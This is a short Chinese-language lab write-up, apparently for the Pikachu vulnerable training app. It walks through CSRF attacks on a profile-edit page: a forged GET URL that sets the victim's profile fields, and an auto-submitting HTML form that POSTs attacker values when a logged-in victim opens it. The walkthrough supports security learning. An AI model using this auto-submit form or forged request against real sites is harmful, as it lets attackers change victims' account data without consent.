1.CSRF(get)
1.1 根据提示登陆系统

1.2 修改个人信息,提交时进行抓包

1.3 根据数据包伪造地址
http://124.220.31.77:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=11&add=1&email=1&submit=submit

1.4 修改成功

2.CSRF (post)
2.1 修改个人信息时进行抓包

2.2 新建html文件,创建表单

<!DOCTYPE html>
<html>
<head lang="en">
<title>csrf_post</title>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form action="http://124.220.31.77:8000/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="text" name="sex" value="1"><br>
<input type="hidden" name="phonenum" value="hacker"><br>
<input type="hidden" name="add" value="china"><br>
<input type="hidden" name="email" value="hacker"><br>
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
2.3 在登陆时,打开此html,修改成功
